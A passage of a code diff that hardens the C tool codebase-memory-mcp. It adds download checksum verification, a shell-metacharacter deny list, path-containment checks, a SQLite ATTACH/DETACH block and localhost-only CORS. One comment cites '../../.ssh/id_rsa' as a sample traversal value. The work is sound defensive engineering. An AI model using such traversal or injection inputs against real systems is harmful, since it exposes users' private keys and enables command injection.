if (space && space - line == SHA256_HEX_LEN) {
memcpy(out, line, SHA256_HEX_LEN);
out[SHA256_HEX_LEN] = '\0';
cbm_pclose(fp);
return 0;
}
}
cbm_pclose(fp);
return -1;
}
/* Download checksums.txt and verify the archive integrity.
* Returns: 0 = verified OK, 1 = mismatch (FAIL), -1 = could not verify (warning). */
static int verify_download_checksum(const char *archive_path, const char *archive_name) {
char checksum_file[256];
snprintf(checksum_file, sizeof(checksum_file), "%s/cbm-checksums.txt", cbm_tmpdir());
char cmd[1024];
snprintf(cmd, sizeof(cmd),
"curl -fsSL -o '%s' "
"'https://github.com/DeusData/codebase-memory-mcp/releases/latest/download/"
"checksums.txt' 2>/dev/null",
checksum_file);
// NOLINTNEXTLINE(cert-env33-c) — intentional CLI subprocess for download
int rc = system(cmd);
if (rc != 0) {
fprintf(stderr, "warning: could not download checksums.txt — skipping verification\n");
cbm_unlink(checksum_file);
return -1;
}
FILE *fp = fopen(checksum_file, "r");
cbm_unlink(checksum_file);
if (!fp) {
return -1;
}
char expected[SHA256_BUF_SIZE] = {0};
char line[512];
while (fgets(line, sizeof(line), fp)) {
/* Format: <64-char sha256> <filename>\n */
if (strlen(line) > CHECKSUM_LINE_MIN && strstr(line, archive_name)) {
memcpy(expected, line, SHA256_HEX_LEN);
expected[SHA256_HEX_LEN] = '\0';
break;
}
}
fclose(fp);
if (expected[0] == '\0') {
fprintf(stderr, "warning: %s not found in checksums.txt\n", archive_name);
return -1;
}
char actual[SHA256_BUF_SIZE] = {0};
if (sha256_file(archive_path, actual, sizeof(actual)) != 0) {
fprintf(stderr, "warning: sha256sum/shasum not available — skipping verification\n");
return -1;
}
if (strcmp(expected, actual) != 0) {
fprintf(stderr, "error: CHECKSUM MISMATCH — downloaded binary may be compromised!\n");
fprintf(stderr, " expected: %s\n", expected);
fprintf(stderr, " actual: %s\n", actual);
return 1;
}
printf("Checksum verified: %s\n", actual);
return 0;
}
/* ── Detect OS/arch for download URL ──────────────────────────── */
static const char *detect_os(void) {
@@ -2534,6 +2634,26 @@ int cbm_cmd_update(int argc, char **argv) {
return 1;
}
/* Step 4b: Verify checksum */
{
/* Build the expected archive filename (matches checksums.txt format) */
char archive_name[256];
if (want_ui) {
snprintf(archive_name, sizeof(archive_name), "codebase-memory-mcp-ui-%s-%s.%s", os,
arch, ext);
} else {
snprintf(archive_name, sizeof(archive_name), "codebase-memory-mcp-%s-%s.%s", os, arch,
ext);
}
int crc = verify_download_checksum(tmp_archive, archive_name);
if (crc == 1) {
/* Hard fail: checksum mismatch */
cbm_unlink(tmp_archive);
return 1;
}
/* crc == -1: could not verify (warning only), crc == 0: verified OK */
}
/* Step 5: Extract binary */
char bin_dest[1024];
snprintf(bin_dest, sizeof(bin_dest), "%s/.local/bin/codebase-memory-mcp", home);
+23
View File
@@ -234,3 +234,26 @@ char **cbm_str_split(CBMArena *a, const char *s, char delim, int *out_count) {
*out_count = count;
return result;
}
bool cbm_validate_shell_arg(const char *s) {
if (!s) {
return false;
}
for (const char *p = s; *p; p++) {
switch (*p) {
case '\'':
case ';':
case '|':
case '&':
case '$':
case '`':
case '\n':
case '\r':
case '\\':
return false;
default:
break;
}
}
return true;
}
+5
View File
@@ -48,4 +48,9 @@ char *cbm_str_strip_ext(CBMArena *a, const char *path);
* The array itself and all substrings are arena-allocated. */
char **cbm_str_split(CBMArena *a, const char *s, char delim, int *out_count);
/* Validate a string is safe for shell interpolation inside single quotes.
* Rejects: ' ; | & $ ` \n \r \0 (embedded NULs via len check).
* Returns true if safe, false if the string contains shell metacharacters. */
bool cbm_validate_shell_arg(const char *s);
#endif /* CBM_STR_UTIL_H */
+52 -2
View File
@@ -19,6 +19,7 @@
#include "foundation/compat_fs.h"
#include "foundation/compat_thread.h"
#include "foundation/log.h"
#include "foundation/str_util.h"
#ifdef _WIN32
#include <process.h> /* _getpid */
@@ -1363,13 +1364,34 @@ static char *build_snippet_response(cbm_mcp_server_t *srv, cbm_node_t *node,
int end = node->end_line > start ? node->end_line : start + SNIPPET_DEFAULT_LINES;
char *source = NULL;
/* Build absolute path (persists until free) */
/* Build absolute path and verify it's within the project root.
* Prevents path traversal via crafted file_path (e.g., "../../.ssh/id_rsa"). */
char *abs_path = NULL;
if (root_path && node->file_path) {
size_t apsz = strlen(root_path) + strlen(node->file_path) + 2;
abs_path = malloc(apsz);
snprintf(abs_path, apsz, "%s/%s", root_path, node->file_path);
source = read_file_lines(abs_path, start, end);
/* Path containment: resolve symlinks/../ and verify file stays within root */
char real_root[4096];
char real_file[4096];
bool path_ok = false;
#ifdef _WIN32
if (_fullpath(real_root, root_path, sizeof(real_root)) &&
_fullpath(real_file, abs_path, sizeof(real_file))) {
#else
if (realpath(root_path, real_root) && realpath(abs_path, real_file)) {
#endif
size_t root_len = strlen(real_root);
if (strncmp(real_file, real_root, root_len) == 0 &&
(real_file[root_len] == '/' || real_file[root_len] == '\\' ||
real_file[root_len] == '\0')) {
path_ok = true;
}
}
if (path_ok) {
source = read_file_lines(abs_path, start, end);
}
}
yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL);
@@ -1593,6 +1615,16 @@ static char *handle_search_code(cbm_mcp_server_t *srv, const char *args) {
return cbm_mcp_text_result("project not found or not indexed", true);
}
/* Reject shell metacharacters in user-supplied arguments */
if (!cbm_validate_shell_arg(root_path) ||
(file_pattern && !cbm_validate_shell_arg(file_pattern))) {
free(root_path);
free(pattern);
free(project);
free(file_pattern);
return cbm_mcp_text_result("path or file_pattern contains invalid characters", true);
}
/* Write pattern to temp file to avoid shell injection */
char tmpfile[256];
#ifdef _WIN32
@@ -1712,6 +1744,13 @@ static char *handle_detect_changes(cbm_mcp_server_t *srv, const char *args) {
base_branch = heap_strdup("main");
}
/* Reject shell metacharacters in user-supplied branch name */
if (!cbm_validate_shell_arg(base_branch)) {
free(project);
free(base_branch);
return cbm_mcp_text_result("base_branch contains invalid characters", true);
}
char *root_path = get_project_root(srv, project);
if (!root_path) {
free(project);
@@ -1719,6 +1758,13 @@ static char *handle_detect_changes(cbm_mcp_server_t *srv, const char *args) {
return cbm_mcp_text_result("project not found", true);
}
if (!cbm_validate_shell_arg(root_path)) {
free(root_path);
free(project);
free(base_branch);
return cbm_mcp_text_result("project path contains invalid characters", true);
}
/* Get changed files via git */
char cmd[1024];
snprintf(cmd, sizeof(cmd),
@@ -2104,6 +2150,10 @@ static void maybe_auto_index(cbm_mcp_server_t *srv) {
}
/* Quick file count check to avoid OOM on massive repos */
if (!cbm_validate_shell_arg(srv->session_root)) {
cbm_log_warn("autoindex.skip", "reason", "path contains shell metacharacters");
return;
}
char cmd[1024];
snprintf(cmd, sizeof(cmd), "git -C '%s' ls-files 2>/dev/null | wc -l", srv->session_root);
// NOLINTNEXTLINE(bugprone-command-processor,cert-env33-c)
+5
View File
@@ -18,6 +18,7 @@
#include "foundation/platform.h"
#include "foundation/compat.h"
#include "foundation/compat_fs.h"
#include "foundation/str_util.h"
/* Minimum coupling score to create an edge */
#define MIN_COUPLING_SCORE 0.3
@@ -214,6 +215,10 @@ static int parse_git_log(const char *repo_path, commit_t **out, int *out_count)
*out = NULL;
*out_count = 0;
if (!cbm_validate_shell_arg(repo_path)) {
return -1;
}
char cmd[1024];
snprintf(cmd, sizeof(cmd),
"cd '%s' && git log --name-only --pretty=format:COMMIT:%%H "
+22
View File
@@ -293,6 +293,24 @@ static void sqlite_iregexp(sqlite3_context *ctx, int argc, sqlite3_value **argv)
/* ── Lifecycle ──────────────────────────────────────────────────── */
/* SQLite authorizer: deny dangerous operations that could be exploited via
* SQL injection through the Cypher→SQL translation layer. */
static int store_authorizer(void *user_data, int action, const char *p3, const char *p4,
const char *p5, const char *p6) {
(void)user_data;
(void)p3;
(void)p4;
(void)p5;
(void)p6;
switch (action) {
case SQLITE_ATTACH: /* ATTACH DATABASE — could create/read arbitrary files */
case SQLITE_DETACH: /* DETACH DATABASE */
return SQLITE_DENY;
default:
return SQLITE_OK;
}
}
static cbm_store_t *store_open_internal(const char *path, bool in_memory) {
cbm_store_t *s = calloc(1, sizeof(cbm_store_t));
if (!s) {
@@ -314,6 +332,10 @@ static cbm_store_t *store_open_internal(const char *path, bool in_memory) {
s->db_path = heap_strdup(path);
}
/* Security: block ATTACH/DETACH to prevent file creation via SQL injection.
* The authorizer runs inside SQLite's query planner — no string-level bypass. */
sqlite3_set_authorizer(s->db, store_authorizer, NULL);
/* Register REGEXP function (SQLite doesn't have one built-in) */
sqlite3_create_function(s->db, "regexp", 2, SQLITE_UTF8 | SQLITE_DETERMINISTIC, NULL,
sqlite_regexp, NULL, NULL);
+132 -78
View File
@@ -46,11 +46,35 @@
/* Max JSON-RPC request body size (1 MB) */
#define MAX_BODY_SIZE (1024 * 1024)
/* CORS headers for all responses */
#define CORS_HEADERS \
"Access-Control-Allow-Origin: *\r\n" \
"Access-Control-Allow-Methods: POST, GET, DELETE, OPTIONS\r\n" \
"Access-Control-Allow-Headers: Content-Type\r\n"
/* ── CORS: only allow localhost origins (blocks remote website attacks) ────── */
/* Per-request CORS header buffers. Updated at the start of each HTTP handler
* call by update_cors(). Single-threaded mongoose event loop makes statics safe. */
static char g_cors[256]; /* CORS headers only */
static char g_cors_json[512]; /* CORS + Content-Type: application/json */
/* Inspect the Origin header and only reflect it if it's a localhost URL.
* This prevents remote websites from making cross-origin requests to the
* local graph-ui server (the key defense against CORS-based data exfil). */
static void update_cors(struct mg_http_message *hm) {
struct mg_str *origin = mg_http_get_header(hm, "Origin");
if (origin && origin->len > 0 &&
(mg_match(*origin, mg_str("http://localhost:*"), NULL) ||
mg_match(*origin, mg_str("http://127.0.0.1:*"), NULL))) {
snprintf(g_cors, sizeof(g_cors),
"Access-Control-Allow-Origin: %.*s\r\n"
"Access-Control-Allow-Methods: POST, GET, DELETE, OPTIONS\r\n"
"Access-Control-Allow-Headers: Content-Type\r\n",
(int)origin->len, origin->buf);
} else {
/* No Access-Control-Allow-Origin → browser blocks cross-origin access */
snprintf(g_cors, sizeof(g_cors),
"Access-Control-Allow-Methods: POST, GET, DELETE, OPTIONS\r\n"
"Access-Control-Allow-Headers: Content-Type\r\n");
}
snprintf(g_cors_json, sizeof(g_cors_json),
"%sContent-Type: application/json\r\n", g_cors);
}
/* ── Server state ─────────────────────────────────────────────── */
@@ -62,6 +86,22 @@ struct cbm_http_server {
bool listener_ok;
};
/* ── Forward declarations for process-kill PID validation ──────── */
#define MAX_INDEX_JOBS 4
typedef struct {
char root_path[1024];
char project_name[256];
atomic_int status; /* 0=idle, 1=running, 2=done, 3=error */
char error_msg[256];
#ifndef _WIN32
pid_t child_pid; /* tracked for process-kill validation */
#endif
} index_job_t;
static index_job_t g_index_jobs[MAX_INDEX_JOBS];
/* ── Serve embedded asset ─────────────────────────────────────── */
static bool serve_embedded(struct mg_connection *c, const char *path) {
@@ -72,9 +112,9 @@ static bool serve_embedded(struct mg_connection *c, const char *path) {
/* Build headers with correct Content-Type for this asset */
char hdrs[512];
snprintf(hdrs, sizeof(hdrs),
CORS_HEADERS "Content-Type: %s\r\n"
"Cache-Control: public, max-age=31536000, immutable\r\n",
f->content_type);
"%sContent-Type: %s\r\n"
"Cache-Control: public, max-age=31536000, immutable\r\n",
g_cors, f->content_type);
mg_http_reply(c, 200, hdrs, "%.*s", (int)f->size, (const char *)f->data);
return true;
@@ -130,7 +170,7 @@ static void handle_logs(struct mg_connection *c, struct mg_http_message *hm) {
char *buf = malloc(buf_size);
if (!buf) {
cbm_mutex_unlock(&g_log_mutex);
mg_http_reply(c, 500, CORS_HEADERS, "oom");
mg_http_reply(c, 500, g_cors, "oom");
return;
}
@@ -162,7 +202,7 @@ static void handle_logs(struct mg_connection *c, struct mg_http_message *hm) {
cbm_mutex_unlock(&g_log_mutex);
pos += snprintf(buf + pos, buf_size - (size_t)pos, "],\"total\":%d}", total);
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
mg_http_reply(c, 200, g_cors_json, "%s", buf);
free(buf);
}
@@ -242,13 +282,13 @@ static void handle_processes(struct mg_connection *c) {
pos += snprintf(buf + pos, sizeof(buf) - (size_t)pos, "]}");
#endif
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
mg_http_reply(c, 200, g_cors_json, "%s", buf);
}
/* POST /api/process-kill — kill a process by PID */
static void handle_process_kill(struct mg_connection *c, struct mg_http_message *hm) {
if (hm->body.len == 0 || hm->body.len > 256) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"invalid body\"}");
return;
}
@@ -259,7 +299,7 @@ static void handle_process_kill(struct mg_connection *c, struct mg_http_message
yyjson_doc *doc = yyjson_read(body, hm->body.len, 0);
if (!doc) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"invalid json\"}");
return;
}
@@ -267,7 +307,7 @@ static void handle_process_kill(struct mg_connection *c, struct mg_http_message
yyjson_val *v_pid = yyjson_obj_get(root, "pid");
if (!v_pid || !yyjson_is_int(v_pid)) {
yyjson_doc_free(doc);
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"missing pid\"}");
return;
}
@@ -279,30 +319,49 @@ static void handle_process_kill(struct mg_connection *c, struct mg_http_message
#else
if (target_pid == (int)getpid()) {
#endif
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"cannot kill self (use the UI server's own shutdown)\"}");
return;
}
#ifndef _WIN32
/* Only allow killing PIDs that were spawned by this server (indexing jobs) */
{
bool pid_is_ours = false;
for (int i = 0; i < MAX_INDEX_JOBS; i++) {
if (atomic_load(&g_index_jobs[i].status) == 1 &&
g_index_jobs[i].child_pid == target_pid) {
pid_is_ours = true;
break;
}
}
if (!pid_is_ours) {
mg_http_reply(c, 403, g_cors_json,
"{\"error\":\"can only kill server-spawned processes\"}");
return;
}
}
#endif
#ifdef _WIN32
HANDLE hproc = OpenProcess(PROCESS_TERMINATE, FALSE, (DWORD)target_pid);
if (!hproc || !TerminateProcess(hproc, 1)) {
if (hproc)
CloseHandle(hproc);
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"kill failed\"}");
return;
}
CloseHandle(hproc);
#else
if (kill(target_pid, SIGTERM) != 0) {
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"kill failed\"}");
return;
}
#endif
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "{\"killed\":%d}",
mg_http_reply(c, 200, g_cors_json, "{\"killed\":%d}",
target_pid);
}
@@ -323,14 +382,14 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
}
if (!cbm_is_dir(path)) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"not a directory\"}");
return;
}
DIR *dir = opendir(path);
if (!dir) {
mg_http_reply(c, 403, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 403, g_cors_json,
"{\"error\":\"cannot open directory\"}");
return;
}
@@ -373,7 +432,7 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
snprintf(parent, sizeof(parent), "/");
pos += snprintf(buf + pos, sizeof(buf) - (size_t)pos, "],\"parent\":\"%s\"}", parent);
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
mg_http_reply(c, 200, g_cors_json, "%s", buf);
}
/* ── ADR endpoints ────────────────────────────────────────────── */
@@ -382,7 +441,7 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm) {
char name[256] = {0};
if (!get_query_param(hm->query, "project", name, (int)sizeof(name)) || name[0] == '\0') {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"missing project\"}");
return;
}
@@ -395,7 +454,7 @@ static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm)
cbm_store_t *store = cbm_store_open_path(db_path);
if (!store) {
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 200, g_cors_json,
"{\"has_adr\":false}");
return;
}
@@ -430,14 +489,14 @@ static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm)
}
pos += snprintf(buf + pos, buf_size - (size_t)pos, "\",\"updated_at\":\"%s\"}",
adr.updated_at ? adr.updated_at : "");
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
mg_http_reply(c, 200, g_cors_json, "%s", buf);
free(buf);
} else {
mg_http_reply(c, 500, CORS_HEADERS, "oom");
mg_http_reply(c, 500, g_cors, "oom");
}
cbm_store_adr_free(&adr);
} else {
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 200, g_cors_json,
"{\"has_adr\":false}");
}
cbm_store_close(store);
@@ -446,14 +505,14 @@ static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm)
/* POST /api/adr — save ADR content. Body: {"project":"...","content":"..."} */
static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm) {
if (hm->body.len == 0 || hm->body.len > 16384) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"invalid body\"}");
return;
}
char *body = malloc(hm->body.len + 1);
if (!body) {
mg_http_reply(c, 500, CORS_HEADERS, "oom");
mg_http_reply(c, 500, g_cors, "oom");
return;
}
memcpy(body, hm->body.buf, hm->body.len);
@@ -462,7 +521,7 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
yyjson_doc *doc = yyjson_read(body, hm->body.len, 0);
free(body);
if (!doc) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"invalid json\"}");
return;
}
@@ -472,7 +531,7 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
yyjson_val *v_content = yyjson_obj_get(root, "content");
if (!v_proj || !yyjson_is_str(v_proj) || !v_content || !yyjson_is_str(v_content)) {
yyjson_doc_free(doc);
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"missing project or content\"}");
return;
}
@@ -489,7 +548,7 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
cbm_store_t *store = cbm_store_open_path(db_path);
yyjson_doc_free(doc);
if (!store) {
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"cannot open store\"}");
return;
}
@@ -498,27 +557,16 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
cbm_store_close(store);
if (rc == CBM_STORE_OK) {
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 200, g_cors_json,
"{\"saved\":true}");
} else {
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"save failed\"}");
}
}
/* ── Background indexing ──────────────────────────────────────── */
#define MAX_INDEX_JOBS 4
typedef struct {
char root_path[1024];
char project_name[256];
atomic_int status; /* 0=idle, 1=running, 2=done, 3=error */
char error_msg[256];
} index_job_t;
static index_job_t g_index_jobs[MAX_INDEX_JOBS];
static char g_binary_path[1024] = {0};
void cbm_http_server_set_binary_path(const char *path) {
@@ -621,6 +669,7 @@ static void *index_thread_fn(void *arg) {
atomic_store(&job->status, 3);
return NULL;
}
job->child_pid = child_pid;
if (child_pid == 0) {
FILE *lf = freopen(log_file, "w", stderr);
@@ -679,7 +728,7 @@ static void *index_thread_fn(void *arg) {
/* POST /api/index — body: {"root_path": "/abs/path"} → starts background indexing */
static void handle_index_start(struct mg_connection *c, struct mg_http_message *hm) {
if (hm->body.len == 0 || hm->body.len > 4096) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"invalid body\"}");
return;
}
@@ -690,7 +739,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
yyjson_doc *doc = yyjson_read(body_buf, hm->body.len, 0);
if (!doc) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"invalid json\"}");
return;
}
@@ -698,7 +747,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
yyjson_val *v_path = yyjson_obj_get(root, "root_path");
if (!v_path || !yyjson_is_str(v_path)) {
yyjson_doc_free(doc);
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"missing root_path\"}");
return;
}
@@ -707,7 +756,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
/* Check path exists */
if (!cbm_is_dir(rpath)) {
yyjson_doc_free(doc);
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"directory not found\"}");
return;
}
@@ -723,7 +772,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
}
if (slot < 0) {
yyjson_doc_free(doc);
mg_http_reply(c, 429, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 429, g_cors_json,
"{\"error\":\"all index slots busy\"}");
return;
}
@@ -739,12 +788,12 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
if (cbm_thread_create(&tid, 0, index_thread_fn, job) != 0) {
atomic_store(&job->status, 3);
snprintf(job->error_msg, sizeof(job->error_msg), "thread creation failed");
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"thread creation failed\"}");
return;
}
mg_http_reply(c, 202, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 202, g_cors_json,
"{\"status\":\"indexing\",\"slot\":%d,\"path\":\"%s\"}", slot, job->root_path);
}
@@ -765,14 +814,14 @@ static void handle_index_status(struct mg_connection *c) {
}
buf[pos++] = ']';
buf[pos] = '\0';
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
mg_http_reply(c, 200, g_cors_json, "%s", buf);
}
/* DELETE /api/project?name=X — deletes the .db file */
static void handle_delete_project(struct mg_connection *c, struct mg_http_message *hm) {
char name[256] = {0};
if (!get_query_param(hm->query, "name", name, (int)sizeof(name)) || name[0] == '\0') {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"missing name\"}");
return;
}
@@ -784,13 +833,13 @@ static void handle_delete_project(struct mg_connection *c, struct mg_http_messag
snprintf(db_path, sizeof(db_path), "%s/.cache/codebase-memory-mcp/%s.db", home, name);
if (!cbm_file_exists(db_path)) {
mg_http_reply(c, 404, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 404, g_cors_json,
"{\"error\":\"project not found\"}");
return;
}
if (unlink(db_path) != 0) {
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"failed to delete\"}");
return;
}
@@ -803,14 +852,14 @@ static void handle_delete_project(struct mg_connection *c, struct mg_http_messag
(void)unlink(shm_path);
cbm_log_info("ui.project.deleted", "name", name);
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "{\"deleted\":true}");
mg_http_reply(c, 200, g_cors_json, "{\"deleted\":true}");
}
/* GET /api/project-health?name=X — checks db integrity */
static void handle_project_health(struct mg_connection *c, struct mg_http_message *hm) {
char name[256] = {0};
if (!get_query_param(hm->query, "name", name, (int)sizeof(name)) || name[0] == '\0') {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"missing name\"}");
return;
}
@@ -822,14 +871,14 @@ static void handle_project_health(struct mg_connection *c, struct mg_http_messag
snprintf(db_path, sizeof(db_path), "%s/.cache/codebase-memory-mcp/%s.db", home, name);
if (!cbm_file_exists(db_path)) {
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 200, g_cors_json,
"{\"status\":\"missing\"}");
return;
}
cbm_store_t *store = cbm_store_open_path(db_path);
if (!store) {
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 200, g_cors_json,
"{\"status\":\"corrupt\",\"reason\":\"cannot open\"}");
return;
}
@@ -840,7 +889,7 @@ static void handle_project_health(struct mg_connection *c, struct mg_http_messag
int64_t size = cbm_file_size(db_path);
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 200, g_cors_json,
"{\"status\":\"healthy\",\"nodes\":%d,\"edges\":%d,\"size_bytes\":%lld}",
node_count, edge_count, (long long)size);
}
@@ -860,7 +909,7 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
if (!get_query_param(hm->query, "project", project, (int)sizeof(project)) ||
project[0] == '\0') {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"error\":\"missing project parameter\"}");
return;
}
@@ -880,14 +929,14 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
snprintf(db_path, sizeof(db_path), "%s/.cache/codebase-memory-mcp/%s.db", home, project);
if (!cbm_file_exists(db_path)) {
mg_http_reply(c, 404, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 404, g_cors_json,
"{\"error\":\"project not found\"}");
return;
}
cbm_store_t *store = cbm_store_open_path(db_path);
if (!store) {
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"cannot open store\"}");
return;
}
@@ -897,7 +946,7 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
cbm_store_close(store);
if (!layout) {
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"layout computation failed\"}");
return;
}
@@ -906,12 +955,12 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
cbm_layout_free(layout);
if (!json) {
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 500, g_cors_json,
"{\"error\":\"JSON serialization failed\"}");
return;
}
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", json);
mg_http_reply(c, 200, g_cors_json, "%s", json);
free(json);
}
@@ -919,7 +968,7 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
static void handle_rpc(struct mg_connection *c, struct mg_http_message *hm, cbm_mcp_server_t *mcp) {
if (hm->body.len == 0 || hm->body.len > MAX_BODY_SIZE) {
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
mg_http_reply(c, 400, g_cors_json,
"{\"jsonrpc\":\"2.0\",\"error\":{\"code\":-32600,"
"\"message\":\"invalid request size\"},\"id\":null}");
return;
@@ -928,7 +977,7 @@ static void handle_rpc(struct mg_connection *c, struct mg_http_message *hm, cbm_
/* NUL-terminate the body for cbm_mcp_server_handle */
char *body = malloc(hm->body.len + 1);
if (!body) {
mg_http_reply(c, 500, CORS_HEADERS, "out of memory");
mg_http_reply(c, 500, g_cors, "out of memory");
return;
}
memcpy(body, hm->body.buf, hm->body.len);
@@ -938,10 +987,10 @@ static void handle_rpc(struct mg_connection *c, struct mg_http_message *hm, cbm_
free(body);
if (response) {
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", response);
mg_http_reply(c, 200, g_cors_json, "%s", response);
free(response);
} else {
mg_http_reply(c, 204, CORS_HEADERS, "");
mg_http_reply(c, 204, g_cors, "");
}
}
@@ -954,9 +1003,14 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
struct mg_http_message *hm = ev_data;
cbm_http_server_t *srv = c->fn_data;
/* Build per-request CORS headers (only reflects localhost origins) */
update_cors(hm);
/* OPTIONS preflight for CORS */
if (mg_strcmp(hm->method, mg_str("OPTIONS")) == 0) {
mg_http_reply(c, 204, CORS_HEADERS "Content-Length: 0\r\n", "");
char opt_hdrs[512];
snprintf(opt_hdrs, sizeof(opt_hdrs), "%sContent-Length: 0\r\n", g_cors);
mg_http_reply(c, 204, opt_hdrs, "");
return;
}
@@ -1045,13 +1099,13 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
if (mg_match(hm->uri, mg_str("/"), NULL)) {
const cbm_embedded_file_t *f = cbm_embedded_lookup("/index.html");
if (f) {
mg_http_reply(c, 200,
CORS_HEADERS "Content-Type: text/html\r\n"
"Cache-Control: no-cache\r\n",
"%.*s", (int)f->size, (const char *)f->data);
char html_hdrs[512];
snprintf(html_hdrs, sizeof(html_hdrs),
"%sContent-Type: text/html\r\nCache-Control: no-cache\r\n", g_cors);
mg_http_reply(c, 200, html_hdrs, "%.*s", (int)f->size, (const char *)f->data);
return;
}
